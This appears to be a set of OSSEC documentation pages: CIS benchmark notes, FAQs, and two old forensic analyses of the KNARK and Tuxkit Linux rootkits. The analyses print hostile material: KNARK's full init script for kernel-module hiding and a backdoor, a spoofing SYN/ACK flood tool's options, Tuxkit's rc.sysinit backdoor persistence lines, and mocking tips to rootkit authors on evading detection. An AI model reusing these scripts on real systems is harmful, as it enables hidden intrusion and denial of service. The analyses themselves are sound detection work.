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Center for Internet Security Benchmark for Red Hat Enterprise Linux v1.0.5


OSSEC Policy monitor can check if a system is in compliance with the
CIS Security Benchmark for Red Hat Linux [http://www.cisecurity.org/bench_linux.html].



Note


This benchmark only covers RHEL 2.1, 3.0, 4.0 and Fedora Core 1,2,3,4 and 5. Because of that, OSSEC will only test these systems according to this standard.





Understand the test


For every test that failed, you will receive an alert describing which section
of the benchmark that failed. For example:


System Audit: CIS - Red Hat Linux 1.4 - Robust partition scheme - /var not on its own partition.






The above alert says that the system doesn’t have a robust partition scheme as required
by the section 1.4 of the benchmark.


To receive more information about each section,
please visit http://www.cisecurity.org/ to download the benchmarks
and learn how to solve the problem.





Downloading the Benchmark


The CIS RHEL Benchmark v1.0.5 is available at: http://www.cisecurity.org/tools2/linux/CIS_RHLinux_Benchmark_v1.0.5.pdf.
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CIS Benchmarks




		Center for Internet Security Benchmark for Debian Linux v1.0
		Understand the test


		Downloading the Benchmark








		Center for Internet Security Benchmark for Red Hat Enterprise Linux v1.0.5
		Understand the test


		Downloading the Benchmark








		Center for Internet Security Benchmark for Red Hat Enterprise Linux 5 v1.1
		Understand the test


		Downloading the Benchmark








		VMware Infrastructure 3 Security Hardening for ESX 3.5
		Understand the test


		Downloading the Benchmark


		Example output from the test
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Analysis of the KNARK Rootkit


by Toby Miller



Purpose


The purpose of this paper is to identify signatures related to the KNARK
rootkit. This paper does not show how to install the rootkit nor does it
make any comparisons between this rootkit and other rootkits.  This paper
will attempt to educate the readers on the various signatures and problems
related to this rootkit.





What is a rootkit?


A rootkit is a collection of files/programs used by attacker(s) to re-enter
a network/computer without being detected.  Normally a rootkit will come
with various .popular. exploits to assist the attacker in the re-entry of
a system.  Recently, many of the exploits have been related with common
vulnerabilities found in BIND, Linux line printer, and Washington
University.s FTP program.


In addition to the exploits, many rootkits also come with and install
sniffers.  This is done because attackers want to capture passwords
from users logging in over the network; a sniffer can do this and
it.s quite hard to detect.  A rootkit can also change common binaries
so that a busy administrator will not detect them.


Common binaries are binaries that can be used to monitor a systems
operation.  Some of the common binaries are /bin/ps, /bin/ls, /bin/netstat,
/usr/bin/lsof and /usr/bin/top (this is not a complete list).  Now
that we have covered rootkit basics, lets look at the rootkit in question.





The KNARK Rootkit


Recently there has been a lot of talk about the KNARK rootkit on the Incidents
mailing list and many good references (listed at the end of the paper) are
coming from the list.  I hope that this paper will provide you with some new
and useful information.  The KNARK rootkit was sent by a friend (some friend
huh?!) to look at and analyze.  After unzipping the file, I was presented with
a bunch of files to look through and analyze.  Table 1 lists the files that come
with KNARK:


List of files that come with KNARK:


Makefile
apache.c
Apache.cgi
 backup
Bj.c
 caine
Clearmail
 dmesg
Dmsg
 ered
Exec
 fix
Fixtext
 ftpt
Gib
 gib.c
Hds0
 hidef
Inc.h
 init
Lesa
 login
Lpdx
 lpdx.c
Make-ssh-host-key
 make-ssh-known-hosts
Module
 nethide
Pgr
 removeme
Rexec
 rkhelp
 sl2
Sl2.c
 snap
Ssh_config
 sshd_config
Ssht
 statdx2
Sysmod.o
 sz
T666
 unhidef
Wugod
 zap




After looking through some of the files, I decided to install the rootkit. Knark
comes with a file named exec  when this file is executed a couple of things take place:



		Creates the directories: /dev/.pizda and /dev/.pula (will not be able to
see using ls. Use cd /dev/.pizda).


		Inserts sysmod.o. This is the module that allows the rootkit too stay
hidden.


		KNARK also makes changes to the rcx.d S99local file. This causes the
machine to fail at boot up.





The first thing I did after installation is pull out NMAP and run
nmap -sS -p 1-65535 192.168.0.20 and waited to see what NMAP had too say.


Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on sec-linux.lab.sec (192.168.0.20):
(The 65523 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
79/tcp     open        finger
111/tcp    open        sunrpc
113/tcp    open        auth
512/tcp    open        exec
513/tcp    open        login
514/tcp    open        shell
515/tcp    open        printer
3001/tcp   open        nessusd
18667/tcp  open        unknown
31221/tcp  open        unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 33 seconds




Figure 1. NMAP results


Figure 1 tells us a lot (good thing this box is in a lab and not in the wild : ).
First, we see that there are two (2) ports that are unknown (18667 and 31221).
Second, we see that this box is lucky it hasn’t been rooted at least a dozen times.


The next step was to run netstat.  Why?  Well, we want to see if netstat
will call out the same ports as NMAP.  If netstat does not call out the same
ports then we check the binary for netstat.:


Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:79              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:512             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:3001            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:515             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN
udp        0      0 0.0.0.0:518             0.0.0.0:*
udp        0      0 0.0.0.0:517             0.0.0.0:*
udp        0      0 0.0.0.0:512             0.0.0.0:*
udp        0      0 0.0.0.0:111             0.0.0.0:*
raw        0      0 0.0.0.0:1               0.0.0.0:*

Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  0      [ ACC ]     STREAM     LISTENING     468    /dev/printer
unix  6      [ ]         DGRAM                    371    /dev/log
unix  0      [ ACC ]     STREAM     LISTENING     503    /dev/gpmctl
unix  0      [ ACC ]     STREAM     LISTENING     2126   /tmp/.font-unix/fs-1
unix  0      [ ]         STREAM     CONNECTED     173    @00000015
unix  0      [ ]         DGRAM                    2711
unix  0      [ ]         DGRAM                    2161
unix  0      [ ]         DGRAM                    2130
unix  0      [ ]         DGRAM                    462
unix  0      [ ]         DGRAM                    394
unix  0      [ ]         DGRAM                    383




Figure 2: Netstat results


Figure 2 is the results of a netstat -a -n. The output of netstat tells us that
the two ports were not identified, so off we go to check the netstat binary.
Checking netstat binary required three steps:



		Run strings. This allows us to see if there is a hidden directory stored in
the binary.  Checked it and there was no hidden directories.


		Md5sum. This step is common sense. Compared the computers netstat md5sum
to a CD’s md5sum and no luck!! Both were the same.


		Run diff. Yes. . . this is redundant but we have nothing to lose and everything
to gain. Unfortunately, the result is the same. Everything checks out OK.


		In the past if a box had a rootkit installed, an administrator could comb
through the binaries and find traces of the rootkit. Not so in this case.
The KNARK rootkit actually hides within the kernel making this rootkit almost
impossible to find and analyze. How is this being done? Well, attackers are able
to do this by using Loadable Kernel Modules (LKM). For anybody who has been
in the Linux world you know that LKM.s are pieces of code that can be loaded
into the operating system on demand. As a matter of fact it is encouraged that you
use LKM.s in order to update your hardware for your OS. BTW, inserting modules
into Linux is not that difficult, in fact insmod -f will do the job.





KNARK comes with some a few good exploits as well.



		Lpdx - This is used to exploit the LPR service of Red Hat boxes. Here
is what a IDS might see:


Figure 3: Lpr Signature:


09:06:19.991789 > 192.168.1.13.2894 > 192.168.0.40.printer: S 4221747912:4221747912(0) win 32120 <mss 1460,sackOK,timestamp 4058996 0,nop,wscale 0> (DF) (ttl 64, id 11263)
09:06:19.993434 < 192.168.1.13.printer > 192.168.0.40.2894: S 397480959:397480959(0) ack 4221747913 win 32120 <mss 1460,sackOK,timestamp 393475 4058996,nop,wscale 0> (DF) (ttl 64, id 3278)
09:06:19.993514 > 192.168.1.13.2894 > 192.168.0.40.printer: . 1:1(0) ack 1 win 32120 <nop,nop,timestamp 4058996 393475> (DF) (ttl 64, id 11264)







		T666 - Used to exploit BIND 8.2.1.  This exploit is used against Linux
and FreeBSD.  A common signature of this tool is there is usually a
directory called /var/named/ADMROCKS.





		Wugod - This is an exploit for Washington University.s ftpd 2.6.0(1)
for FREEBSD, Linux (RH 6.2 and SuSe 6.3&6.4).








Slice v2.1+, credits: sinkhole, sacred. Rewritten and 1+ by some lamerz :P


### linux version


Usage: ./sl2 <target> <clones> [-f] [-c] [-d seconds] [-p packets] [-s packetsize] [-maxs packetsize] [-a srcaddr] [-l lowport] [-h highport] [-incports] [-sleep ms] [-syn[ack]]



Target      - the target we are trying to attack.


Clones      - number of packets to send at once (use -f for more than 6).






		
-f
		
		force usage of more than 6 clones.








		
-c
		
		class C flooding.








		
-d seconds
		
		time to flood in seconds (default 600, use 0 for no timeout).








		
-p packets
		
		packets to send for each clone (if used with -d is ignored).




















		
-s size
		
		packet size (default 40, use 0 for random packets).





-maxs size  - maximum size for random packets.






		
-a srcaddr
		
		the spoofed source address (random if not specified).








		
-l lowport
		
		start port (1024 if not specified).












-h highport - end port (65535 if not specified).






		
-incports
		
		choose ports incremental (random if not specified).












-sleep ms   - delay between packets in miliseconds (0=no delay by default).






		
-syn
		
		use SYN instead ACK.








		
-synack
		
		use SYN|ACK.



















Figure 4: Slice (sl2) help output


As we can see this tool does allow an attacker the chance to randomize his | her packet(s).  This will make detecting a little harder.


09:05:26.655215 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)


09:05:26.655701 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)


09:05:26.656186 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)


09:05:26.656671 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)


09:05:26.657156 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)


09:05:26.657642 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8]  (ttl 255)


Figure 5: Results of Slice


Looking at the help command will not assist us in detecting this program, so I decided to run the DOS.  Figure 5 shows us what slice looks like when it is ran.  Keep in mind that these signatures can change (this depends on the attacker and how the rootkit is installed).



KNARK comes with many other tools that we have not discussed yet.  The first tool we will cover is gib.c.  This tool listens on port 18667 (takes care of one of the two ports we discovered using NMAP) and comes with a by default it has a password of Error and a ps of updated.  This program is just your typical .backdoor. program.  Next, we have a file called init.  This is a shell script BUT, it explains why this root kit is hard to detect.



#!/bin/sh


unset HISTFILE


export HISTFILE=/dev/null


unset _


/sbin/insmod -f /lib/modules/sysmod.o 1>/dev/null 2>/dev/null


if [ -a /usr/bin/gib ]


then


/usr/bin/gib & 1>/dev/null 2>/dev/null


else


echo “aaa” >>/dev/null


fi


/dev/.pizda/jesuscd -f /dev/.pizda/sshd_config -h /dev/.pizda/ssh_host_key -q 1>/dev/null 2>/dev/null


cd “/dev/.pula” 1>/dev/null 2>/dev/null


./caine >> bashina & 1>/dev/null 2>/dev/null


cd /root


killall -31 gib 1>/dev/null 2>/dev/null


killall -31 jesuscd 1>/dev/null 2>/dev/null


killall -31 caine 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /dev/.pizda 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /dev/.pula 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:79F5” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:48EB” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:2FB5” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A01” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A02” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A03” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A04” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A05” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A06” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A07” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A08” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A09” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A0A” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A0B” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A0C” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A0D” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A0E” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:1A0F” 1>/dev/null 2>/dev/null


/dev/.pizda/nethide ”:029A” 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /usr/bin/gib 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /bin/rtty 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /tmp/pgr 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /var/lock/pgr 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /usr/man/man3/pgr 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /lib/modules/sysmod.o 1>/dev/null 2>/dev/null


/dev/.pizda/hidef /sbin/rootme 1>/dev/null 2>/dev/null


if [ -a /var/spool/uucp/zdn ]


then


/dev/.pizda/hidef /var/spool/uucp/zdn 1>/dev/null 2>/dev/null


Figure 6: init file


Figure 6 explains everything.  I would like to point out a few important lines in this script.



		You can see where the attacker uses insmod .f to install sysmod.o.  Again, this allows the attacker to remain hidden.


		He uses killall .31 to hide gib, jessuscd and caine. In order to make them viewable you would have to enter killall .32(There is a link at the bottom of this paper that explains this concept in much more detail.).


		You see many references to /dev/.pizda/nethide. An example is:





/dev/.pizda/nethide ”:79F5” 1>/dev/null 2>/dev/null.


Well, for all who don.t have enough time to do hex conversions here are the hex to decimel conversions:


48EB = 18667                         1A05 = 6661


79F5 = 31221                         1A06 = 6662


029A = 12213                         1A07 = 6663


1A01 = 6657                     1A08 = 6664


1A02 = 6658                     1A09 = 6665


1A03 = 6659                     1A0A = 6666


1A04 = 6660                     1A0B = 6667


1A0C = 6668                     1A0D = 6669


1A0E = 6670                     1A0F = 6671


Recommendations


To be honest, I have not had enough time to come up with solid solutions related to LKM rootkits.  I did come up with a few that might help.  The first is to run LIDS.  I have not tested LIDS, but I plan to test in the near future.  Second, if you come across a LKM rootkit and you cannot find anything (changed binaries etc..) try upgrading your version(providing your not worried about evidence).  Upgrading won.t remove the rootkit but it should allow you to see what exactly was going on.


Conclusion


This type of rootkit goes against everything Security Administrators were ever taught.  In the past, rootkits  would hide their tracks by replacing binaries.  Administrators would use known good binaries to find the kits and that was that. With this beast it.s not that simple and neither is the solution.
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Analysis of a rootkit: Tuxkit


By: spoonfork (spoonfork@hackinthebox.org)



Introduction


The following is an analysis of the Tuxkit rootkit, written by a Dutch group called Tuxtendo. This rootkit was found in one of the honeypots that we set up. The honeypot was a stock installation of Redhat 7.0, with a few services running. None of the software, such as named, sendmail and the printer daemon were patched.


There are three versions of the rootkit that are available on Tuxtendo’s website. They are tuxkit.tgz, tuxkit-1.0.tgz, and tuxkit-short.tgz. Both tuxkit.tgz and tuxkit-1.0.tgz have the same contents, while tuxkit-short.tgz contains less tools.


I’ve also tested some of tuxkit’s binaries on Redhat 7.1, and they seemed to work fine.


The following are the contents of each tuxkit. This analysis will focus on tuxkit-1.0.tgz, the one that was found on our honeypot. The rootkit was developed by Argv[], possibly modified from and based on the t0rn rootkit. The timestamp of the rootkit was December 2001. Googling for “tuxkit analysis” did not produce any hits, so I guess that this rootkit is pretty new.


NOTE: chkrootkit failed to detect tuxkit.





Packages


Listing:


[root@angel tuxkit-1.0]# ls -l ../tuxkit  (tuxkit.tgz)
total 2600
-rw-------    1 sfork   sfork     502884 Dec  5 07:55 bin.tgz
-rw-------    1 sfork   sfork        406 Dec  5 07:55 cfg.tgz
-rw-------    1 sfork   sfork      16213 Dec  5 07:55 lib.tgz
-rw-------    1 sfork   sfork       3684 Dec  5 07:55 README
-rw-------    1 sfork   sfork     461892 Jan  6 00:06 sshd.tgz
-rw-------    1 sfork   sfork    1644819 Dec  5 07:55 tools.tgz
-rwx------    1 sfork   sfork       9489 Jan  6 00:53 tuxkit

[root@angel tuxkit-1.0]# ls -l ../tuxkit-1.0  (tuxkit-1.0.tgz)
total 2600
-rw-------    1 sfork   sfork     502884 Dec  5 07:55 bin.tgz
-rw-------    1 sfork   sfork        406 Dec  5 07:55 cfg.tgz
-rw-------    1 sfork   sfork      16213 Dec  5 07:55 lib.tgz
-rw-------    1 sfork   sfork       3684 Dec  5 07:55 README
-rw-------    1 sfork   sfork     461892 Jan  6 00:06 sshd.tgz
-rw-------    1 sfork   sfork    1644819 Dec  5 07:55 tools.tgz
-rwx------    1 sfork   sfork       9489 Jan  6 00:53 tuxkit

[root@angel tuxkit-1.0]# ls -l ../tuxkit-short  (tuxkit-1.0-short.tgz)
total 1556
-rw-------    1 1001     1001       502884 Dec  5 07:55 bin.tgz
-rw-------    1 1001     1001          406 Dec  5 07:55 cfg.tgz
-rw-------    1 1001     1001        16213 Dec  5 07:55 lib.tgz
-rw-------    1 1001     1001         3684 Dec  5 07:55 README
-rw-------    1 1001     1001       461892 Jan  6 00:06 sshd.tgz
-rw-------    1 1001     1001       577089 Jan  6 01:12 tools.tgz
-rwx------    1 1001     1001         9489 Jan  6 00:53 tuxkit







tuxkit-1.0.tgz


There are six files in the tuxkit which includes a README, an installation
script, and four tarred/zipped files.


The following are the contents of the individual files in the tuxkit.



		bin.tgz




		contains precompiled trojan binaries












		cfg.tgz




		contains tuxkit’s configuration files












		lib.tgz




		contains libproc libraries, for process hiding purposes












		sshd.tgz




		contains precompiled sshd, complete with sshd_config












		
		tools.tgz


		
		contains an arsenal of tools (duh!) for the skrip kiddie
who don’t know how to get their own tools. The tools are:


[root@angel tools]# ls -la
total 44
drwxr-xr-x   11 root     root         4096 Mar  1 13:14 .
drwxr-xr-x    4 root     root         4096 Mar  1 13:14 ..
drwx------    2 root     root         4096 Nov 12 20:50 bitchx
drwx------    2 root     root         4096 Dec 12 23:59 dos
drwx------    2 root     root         4096 Nov 12 20:57 mirkforce
drwx------    2 root     root         4096 Nov 12 20:57 nmapv
drwx------    8 root     root         4096 Nov 12 23:05 psybnc
drwx------    2 root     root         4096 Nov 13 01:00 sniffer
drwx------    2 root     root         4096 Nov 12 20:58 ssh
drwx------    2 root     root         4096 Nov 12 23:22 synscan
drwx------    2 root     root         4096 Nov 12 20:58 utils











The names of these tools are self-explanatory. However, they are all
precompiled. utils contains only one utility - wget. This is to
enable the skripkids to easily download other tools (assuming the skripkids
know how to use wget).















		tuxkit




		an installation script












		README




		the obligatory README file (and greetz, of course)















The tuxkit is almost similar to the t0rn rootkit. The addition of the
precompiled tools such as nmap, synscan and psybnc makes it a more handy
rootkit. It is flawlessly easy to install. Tuxkit is like a pack-n-go
kinda tool. The appendix shows the contents of each packages in tuxkit.





Installation


Installation of tuxkit is very straightforward. The README says:



		README::


		./tuxkit




		Password : This will be the password you need to login onto


		the comromised system.


		SSD Port : This will be the port on which the SSHD will be


		be listening on for incoming connections.
This port will be hidden automatically in netstat.


		bncport : this will be the port psyBNC will listen on.


		This port will be hidden automatically in netstat.









The setup script does NOT have default settings, this forces you to
provide a password, sshd and bnc ports.


The setup script also contains a variable called EMAIL, you should edit
this ;)








This sets tuxkit apart from t0rn - it does not use default ports.


The default installation directory is /dev/tux. Shell script savvy skripkids
may want to change this to avoid detection.


NOTE: the tuxkit installationn script contains a variable EMAIL which has
the default value of the author. At the end of the installation, the script
will send an email which the subject “Tuxkit1.0”. The e-mail contains
information about the host, the SSH backdoor port, the psyBNC port, and
also the password. If you skripkid didn’t change the EMAIL (the README
clearly states to change this), you have the risk of your server being
owned by other people.





Trojaning process


The trojaning process is straightforward. syslogd is killed first. Then
all the files that came with tuxkit-1.0.tgz are untarred and upzipped.
The installation directory is created. The default installation directory
is /dev/tux, and even though this is kept as the variable RDIR, the tuxkit
install script hardcoded “mkdir /dev/tux”, thus changing RDIR, but forgetting
to change the line above will cause your installation to skew a bit (most
skripkids won’t bother to do this anyway). In fact, /dev/tux is hardcoded
almost everywhere in the installation script.


The hidden files .addr, .cron, .file, .log and .proc are copied to /dev/tux/


The library files are copied to lib, and /sbin/ldconfig is executed.


This step is followed by copying files to be trojaned to /dev/tux/backup, and
replacing these files with the trojaned version. A script “sz”, which is part
of the bin.tgz is run against each trojaned binaries so that the size matches
that of the original binaries. “sz” basically pads the trojan with zeros
(from /dev/zero).





Backdooring process


The backdoored SSH is installed in /usr/bin/xsf. The trojaned sshcheck is
installed in /usr/bin/xchk. Both are invoked the following way:


/usr/bin/xsf -q 1>/dev/null 2>/dev/null
/usr/bin/xchk -q 1>/dev/null 2>/dev/null




The /etc/rc.d/rc.sysinit is also edited to include the following lines:


echo "# Running Xsf ..." >> /etc/rc.d/rc.sysinit
echo "/usr/bin/xsf -q 1>/dev/null 2>/dev/null" >> /etc/rc.d/rc.sysinit
echo "# Running Xchk ..." >> /etc/rc.d/rc.sysinit
echo "/usr/bin/xchk 1>/dev/null 2>/dev/null" >> /etc/rc.d/rc.sysinit




If you string xsf, you will be able to get the passwords that the skripkid
used.





The tuxkit configuration files


The tuxkit config files follows that of the original Linux rootkit. There are
.addr, .cron, .file, .log and .proc. The filenames are self-explanatory. These
files follow the convention of the original Linux rootkit. In forensic, what
you will be interested in most is the .addr files, because it contains the
IP that netstat is supposed to hide.





Detecting tuxkit


Detecting tuxkit is fairly simple.


# Look for the existence of /dev/tux
# Run lsof -i +M | grep xsf


Hey, why wasn’t lsof trojaned? t0rn has a trojaned lsof :)





Detecting tuxkit - trojans



		#  md5sums - if you’ve keep an md5sum of the virgin state of your


		installation, detecting trojans should be a walk in the park. Every
system administrator should use file integrity checker to monitor
critical file change.





#  Look for /usr/bin/xsf and /usr/bin/xchk
#  Look for extra lines in /etc/rc.sysinit
#  cd /etc/ssh; ls -l. The trojaned ls will return nothing, when in



fact your ssh config files are still there.



The following are the size difference between tuxkit and Redhat 7.1 binaries.
(before installation):


files        tuxkit        Redhat 7.1
------------------------------------------
crontab      29052               21280
df           27112               26812
dir          42952               45948
dmesg         3640                4252
du           25592               25788
find         55220               47516
ifconfig     36356               51164
killall      14400               12096
locate        9144               25020 (symlink to slocate)
login         3980               17740
ls           42952               45948
netstat      58228               83132
ps           62748               63180
pstree       14532               12284
sshcheck     89828               - (my test machine don't have this)
sshdconfig  451260               - (my test machine don't have this)
syslogd      28324               26972
tcpd         18660               24844
top          37844               34924
updatedb      4394               25020 (symlink to slocate)
vdir         42952               45948




This result is quite interesting. Trojans are not supposed to be bigger that
the original binaries!





Detecting tuxkit - if you are lucky


On our honeypot, the trojaned ‘ps’ still shows xsf, even though xsf was in
the list of processes to be hidden. However, ‘ls’ seems to work very well
in hiding files.





Recommendations


For tuxkit developers



		Add trojaned lsof. Borrow one from t0rn :) Also, fix ps.


		tools.tgz is probably not needed. A skripkid who is able to crack a Linux
machine (duh) should be able to download and compile his/her own tools.
Furthermore, tools.tgz adds unnecessary extra bytes to the tuxkit - not
really convenient for downloading.


		Add a self-deleting script, i.e. delete the tar files and installation
directory after installation. skripkids seems incapable of doing this.
The config files should be kept somewhere else other than /dev/tux.





For skripkidz - vi tuxkit, type the following:


:%s//dev/tux/installation_dir_of_your_choice/g




where installation_dir_of_your_choice is, uh, the installation directory
of your choice. (However, this won’t work, since /dev/tux/.{addr,proc}, etc
are already hardcoded to the binaries - so hehe, just run ./tuxkit and pray
that the stupid system administrators won’t notice :)


For system administrators - run file integrity checker after each fresh
install.





Conclusion


The world of forensic analysis ain’t fun without rootkits.





Appendix - Contents of each packages


Contents:


[root@angel tuxkit-1.0]# less bin.tgz
-rwx------ root/root     29052 2001-12-26 21:37:57 bin/crontab
-rwx------ root/root     27112 2001-12-26 21:37:57 bin/df
-rwx------ root/root     42952 2001-12-26 21:37:57 bin/dir
-rwx------ root/root      3640 2001-12-26 21:37:57 bin/dmesg
-rwx------ root/root     25592 2001-12-26 21:37:57 bin/du
-rwx------ root/root     55220 2001-12-26 21:37:57 bin/find
-rwx------ root/root     36356 2001-12-26 21:37:57 bin/ifconfig
-rwx------ root/root     14400 2001-12-26 21:37:57 bin/killall
-rwx------ root/root      9144 2001-12-26 21:37:57 bin/locate
-rwx------ root/root      3980 2001-12-26 21:37:57 bin/login
-rwx------ root/root     42952 2001-12-26 21:37:57 bin/ls
-rwx------ root/root     58228 2001-12-26 21:37:57 bin/netstat
-rwx------ root/root     62748 2001-12-26 21:37:57 bin/ps
-rwx------ root/root     14532 2001-12-26 21:37:57 bin/pstree
-rwx------ root/root     89828 2001-12-26 21:37:57 bin/sshcheck
-rwx------ root/root    451260 2001-12-26 21:37:57 bin/sshdconfig
-rwx------ root/root     28324 2001-12-26 21:37:57 bin/syslogd
-rwx------ root/root      1522 2001-12-26 21:37:57 bin/sz
-rwx------ root/root     18660 2001-12-26 21:37:57 bin/tcpd
-rwx------ root/root     37844 2001-12-26 21:37:57 bin/top
-rwx------ root/root      4394 2001-12-26 21:37:57 bin/updatedb
-rwx------ root/root     42952 2001-12-26 21:37:57 bin/vdir

[root@angel tuxkit-1.0]# less cfg.tgz
-rw------- root/root        17 2001-11-11 19:12:19 cfg/.addr
-rw------- root/root        69 2001-11-12 23:06:32 cfg/.cron
-rw------- root/root        67 2001-12-27 20:54:23 cfg/.file
-rw------- root/root        13 2001-12-27 20:54:47 cfg/.log
-rw------- root/root       116 2001-12-27 20:55:29 cfg/.proc

[root@angel tuxkit-1.0]# less sshd.tgz
-rw------- virus/virus     828 2001-12-13 00:22:12 ssh2/hostkey
-rw------- virus/virus     697 2001-12-13 00:22:12 ssh2/hostkey.pub
-rw------- virus/virus     503 2001-12-27 20:43:12 ssh2/logo
-rw------- virus/virus     512 2001-12-13 23:51:33 ssh2/random_seed
-rwx------ virus/virus 1040220 2002-01-06 00:05:58 ssh2/sshd
-rw------- virus/virus     647 2001-12-27 22:42:20 ssh2/sshd2_config

[root@angel tuxkit-1.0]# less lib.tgz
lrwxrwxrwx root/root         0 2001-11-11 02:49:02 lib/libproc.so -> libproc.so.
2.0.7
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OSSEC-WUI: FAQ




		Why does the OSSE-WUI appear to be dead?


		Why does the src ip field contain strange information instead of an IP?








Why does the OSSE-WUI appear to be dead?



Because it is. No one has worked on it for quite a while. There may be some ongoing work with it, but as of this writing it is considered a dead project.






Why does the src ip field contain strange information instead of an IP?



Users who have installed OSSEC-WUI 0.3, have not applied the necessary patches, and are using OSSEC 2.6 or later may see alerts like the following:


2013 Feb 02 10:48:42 Rule Id: 2901 level: 3
Location: ubuntu->/var/log/dpkg.log
Src IP: 02 10:48:41 install libapr1 <none> 1.4.6-1
New dpkg (Debian Package) requested to install.
** Alert 1359830922.3553: - syslog,dpkg,
2013 Feb 02 10:48:42 ubuntu->/var/log/dpkg.log
Rule: 2901 (level 3) -> 'New dpkg (Debian Package) requested to install.'
2013-02-02 10:48:41 install libaprutil1 <none> 1.3.12+dfsg-3






The alert format changed in 2.6, and since OSSEC-WUI is essentially abandonware it was not updated to handle the changes.
A number of users have provided patches to correct the issues, and the OSSEC team is planning on releasing an updated WUI containing these patches.
You can find a patched version of the OSSEC-WUI at a bitbucket repository <https://bitbucket.org/jbcheng/ossec-wui>_.
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OSSEC: FAQ




		Can an OSSEC manager have more than 256 agents?


		Where are OSSEC’s logs stored?


		Where can I view the logs sent to an OSSEC manager (or on a local install)?


		Can OSSEC’s logs be saved to a different directory?


		I’m getting an error when starting OSSEC: “OSSEC analysisd: Testing rules failed. Configuration error. Exiting.” Why?


		The rules aren’t on my agents, they’re only on the server!


		Do the rules get pushed to the agents automatically?


		How can I get ossec.log to rotate daily?








Can an OSSEC manager have more than 256 agents?



By default OSSEC limits the number of agents to 256 per manager. This limitation is set in the code, but can be modified at compile time.
Depending on the event load, a manager running on modern hardware can handle many more agents.
Some users have more than 1000 agents on a single manager.
To change the maximum number of agents, cd into the src directory and run the following command:


make setmaxagents






You should be prompted for the number of agents to allow.


One issue you may face after changing this setting is the number of files allowed to be open for a single user.
The users ossec and ossecr both open at least 1 file (syscheck database and rids file) per agent.
Raising this limit is operating system specific.


Some Linux distributions support a /etc/security/limits.conf. Set the limits to be at least a few files above what the max agents is set to.


ossec            soft    nofile          2048
ossec            hard    nofile          2048
ossecr           soft    nofile          2048
ossecr           hard    nofile          2048













Where are OSSEC’s logs stored?



On OSSEC server and local installs there are several classes of OSSEC logs.
There are the logs created by the OSSEC daemons, the log messages from the agents, and the alerts.
Agent installs do not have logs from other agents or alerts, but do have logs created by the OSSEC processes.


All logs are stored in subdirectories of /var/ossec/logs.
OSSEC’s log messages are stored in /var/ossec/logs/ossec.log.


Log messages from the agents are not stored by default. After analysis they are deleted unless the <logall> option is included in the manager’s ossec.conf.
If set all log messages sent to the manager are stored in /var/ossec/logs/archives/archives.log and rotated daily.


Alerts are stored in /var/ossec/logs/alerts/alerts.log, and rotated daily.









Where can I view the logs sent to an OSSEC manager (or on a local install)?



OSSEC does not store the logs sent to it by default. If a log does not trigger an alert it is discarded, and logs that do trigger alerts are stored with the alerts in /var/ossec/logs/alerts.


The <log-all> option can be added to the <global> section (see: ossec_config.global) of the manager’s ossec.conf. The manager’s OSSEC processes should be restarted.
The raw logs will then be saved to files, organized by date, in /var/ossec/logs/archives.


The headers attached to these log messages are in the format of "YYYY Month dd HH:MM:ss agent_name->/path/to/log/file ".


2011 Aug 04 00:00:01 server->/var/log/local7 Aug  4 00:00:26 server named[29909]: client 192.168.1.7#39323: query: fake.example.net IN AAAA +













Can OSSEC’s logs be saved to a different directory?



As a protection mechanism, OSSEC chroots most of its processes to the install directory (typically /var/ossec).
Due to this chroot, logs must be saved to a location under /var/ossec.
OSSEC does rotate its logs, but will not be able to move them from /var/ossec.


Be sure to allocate enough space to /var/ossec.









I’m getting an error when starting OSSEC: “OSSEC analysisd: Testing rules failed. Configuration error. Exiting.” Why?



